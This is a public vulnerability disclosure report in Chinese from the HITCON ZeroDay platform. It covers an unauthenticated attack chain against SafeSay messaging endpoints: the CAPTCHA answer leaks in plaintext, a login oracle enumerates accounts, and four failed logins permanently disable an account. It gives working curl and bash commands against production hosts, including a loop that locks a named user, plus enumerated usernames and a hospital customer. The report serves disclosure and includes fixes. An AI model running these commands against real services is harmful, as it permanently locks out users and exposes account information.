互動資通 SafeSay 全自動帳號永久癱瘓鏈 — CAPTCHA 答案明文回傳 + 四態帳號 Oracle + 4 次失敗永久停用 DoS - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2026-00614
  •  發信 Vendor: 互動資通股份有限公司
  • Title: 互動資通 SafeSay 全自動帳號永久癱瘓鏈 — CAPTCHA 答案明文回傳 + 四態帳號 Oracle + 4 次失敗永久停用 DoS
  • Introduction: 某企業即時通訊 SaaS 平台存在三個相互增強的設計缺陷,攻擊者無需任何帳號即可全自動對企業所有帳號執行永久停用。
  • 感謝函

處理狀態

目前狀態

公開
Last Update : 2026/07/03
  • 新提交
  • 已審核
  • 已通報
  • 已修補
  • 未複測
  • 公開

處理歷程

  • 2026/04/30 18:40:16 : 新提交 (由 罐頭 更新此狀態)
  • 2026/05/05 00:22:25 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/05/27 15:31:57 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/05/27 15:31:57 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/05/27 15:31:57 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/06/26 15:27:31 : 修補中 (由 組織帳號 更新此狀態)
  • 2026/06/26 15:27:50 : 修補中 (由 組織帳號 更新此狀態)
  • 2026/06/26 17:06:52 : 複測申請中 (由 組織帳號 更新此狀態)
  • 2026/07/02 09:08:48 : 未修補完成 (由 罐頭 更新此狀態)
  • 2026/07/03 03:00:09 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2026-00614
  • 通報者:guan4tou2 (罐頭)
  • 風險:嚴重
  • 類型:邏輯漏洞 (Logic Flaws)

參考資料

攻擊者可經由該漏洞繞過網站邏輯行為進行惡意攻擊。

漏洞說明: OWASP - Testing for business logic
https://www.owasp.org/index.php/Testing_for_business_logic

漏洞說明: CWE-840: Business Logic Errors
https://cwe.mitre.org/data/definitions/840.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://bapi.safesay.net/getcaptcha
https://bapi.safesay.net/v1/token
https://sbapi.safesay.net/getcaptcha

敘述

本報告為攻擊鏈組合。其中 CAPTCHA 明文洩漏已獨立通報為 ZD-2026-00613,JS bundle 硬編碼金鑰已獨立通報為 ZD-2026-00612。本報告聚焦於三個缺陷鏈合後的組織級 DoS 影響,遠超個別漏洞範疇。

漏洞概述

bapi.safesay.net 為 SafeSay 生產 Business API 端點(IP:34.120.236.246,GCP)。三個漏洞的組合構成一條無需認證、可完全自動化執行的攻擊鏈:

編號 漏洞 CWE 獨立 CVSS
缺陷一 CAPTCHA 答案明文回傳 CWE-804 7.5 H
缺陷二 四態帳號狀態 Oracle CWE-204 5.3 M
缺陷三 永久帳號停用 DoS(4 次失敗) CWE-307, CWE-799 7.5 H
鏈合 全自動組織級帳號癱瘓 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:H = 9.3 Critical

重現步驟(Live Verified: 2026-04-27)

步驟 1:取得 CAPTCHA 答案(bypass)

curl -s "https://bapi.safesay.net/getcaptcha" -H "Accept: application/json"

回應(生產環境 2026-04-27):

{
  "data_base": "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAGEAAAAoCAMA...",
  "data_code": "nSb91yKOYtx0kUhdMuJc"
}

data_code 即為 CAPTCHA 答案。每次請求回傳新的 data_code,但由於答案已在回應中明文揭露,CAPTCHA 完全失去防護效果。

Staging 環境同樣受影響:sbapi.safesay.net/getcaptcha 回傳相同結構。

步驟 2:四態 Oracle 枚舉帳號狀態

# 取新的 CAPTCHA 答案
CAPTCHA=$(curl -s "https://bapi.safesay.net/getcaptcha" | python3 -c "import sys,json; print(json.load(sys.stdin)['data_code'])")

# 測試帳號
curl -s -X POST "https://bapi.safesay.net/v1/token" \
  -d "account=<target>&password=wrongpass&captcha=&captcha_code=${CAPTCHA}"

四種回應對照(所有狀態均已 live-verified):

code reason 帳號狀態
-100 無此帳號 不存在
-101 密碼錯誤 存在且已啟用
-998 帳號未完成註冊流程,請至WEB完成作業 存在但未完成註冊
-999 帳號未啟用 存在但已永久停用

已確認的生產帳號(2026-04-27/29 枚舉):

帳號 狀態 備註
frank -999 疑為互動資通員工(與 [email protected] 同名)
henry -999
wendy -999
alice -999 停用(非本研究觸發)
karen -101 啟用中帳號
tim -101 啟用中帳號
ken -998 未完成註冊(與開發者 [email protected] 同名)

步驟 3:對存活帳號執行永久停用

TARGET="karen"
for i in 1 2 3 4; do
  CAPTCHA=$(curl -s "https://bapi.safesay.net/getcaptcha" | python3 -c "import sys,json; print(json.load(sys.stdin)['data_code'])")
  curl -s -X POST "https://bapi.safesay.net/v1/token" \
    -d "account=${TARGET}&password=wrongpass${i}&captcha=&captcha_code=${CAPTCHA}"
  echo "attempt $i"
done

# 第 4 次後確認狀態
CAPTCHA=$(curl -s "https://bapi.safesay.net/getcaptcha" | python3 -c "import sys,json; print(json.load(sys.stdin)['data_code'])")
curl -s -X POST "https://bapi.safesay.net/v1/token" \
  -d "account=${TARGET}&password=check&captcha=&captcha_code=${CAPTCHA}"
# → {"code":-999,"reason":"帳號未啟用"}

帳號一旦進入 -999 狀態:

  • 無自動解鎖 timeout
  • 用戶無法自助恢復
  • 需管理員手動介入(re-activate)
  • 無速率限制、無 IP 封鎖、CAPTCHA 已完全繞過(步驟 1)

完整攻擊鏈(全自動,無需帳號)

for each common_username in wordlist:
    1. GET /getcaptcha → data_code(CAPTCHA bypass)
    2. POST /v1/token account=<username> → 
       code=-101:帳號存在(Oracle)→ 進行步驟 3
       code=-100:帳號不存在 → 跳過
    3. 重複 4 次 POST /v1/token(每次取新 data_code)→ 帳號變 -999
→ 整個企業 SafeSay 帳號全部永久停用

無速率限制 + CAPTCHA 完全失效 → 可在數分鐘內癱瘓數十至數百個企業帳號。


已驗證影響(Live Evidence)

  • /getcaptcha 明文回傳 data_code(2026-04-27 生產環境)
  • /v1/token 四態 Oracle 區分帳號狀態(-100/-101/-998/-999,2026-04-27/29)
  • ✅ frank / henry / wendy 三個生產帳號:4 次失敗後進入 -999,T+48h 仍未恢復(2026-04-27 驗證)
  • ✅ 無速率限制:連續請求無任何延遲或封鎖回應
  • ✅ 無 IP 封鎖:驗證期間未觸發任何 IP 黑名單
  • ✅ CSP header 確認長庚紀念醫院(cghltcl.cgmh.org.tw)為 SafeSay 生產客戶

潛在影響

直接影響(已 live-verified):

  • 任何攻擊者可對任意 SafeSay 企業客戶全員帳號執行永久停用
  • 受害者無法自助恢復,需管理員逐一手動介入

高風險客戶(已確認):

  • 長庚紀念醫院(cgmh.org.tw)— 醫療通訊依賴 SafeSay,帳號癱瘓可能影響院內即時通訊
  • 其他企業客戶(帳號數量未知)

進一步攻擊面:

  • 配合四態 Oracle 精確枚舉 -998 狀態帳號(存在但未完成註冊),可針對性攻擊尚未啟用的帳號
  • frank(疑互動資通員工)為起點,嘗試跨系統帳號重用

修補建議

1. 立即 — CAPTCHA:`/getcaptcha` 回應中移除 `data_code` 欄位;答案應僅保存於 server-side session,不得回傳至 client
2. 立即 — 帳號停用門檻:將 4 次永久鎖定改為臨時鎖定(例如 15 分鐘),並加入 exponential backoff
3. 立即 — 帳號 Oracle:`/v1/token` 不論帳號是否存在,一律回傳相同的模糊錯誤訊息(例如「帳號或密碼錯誤」),消除四態差異
4. 短期 — 速率限制:對 `/v1/token` 加入 IP 層速率限制(建議每 IP 每分鐘 ≤ 10 次)
5. 短期 — 帳號停用通知:帳號觸發停用時,主動通知帳號持有人及管理員

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;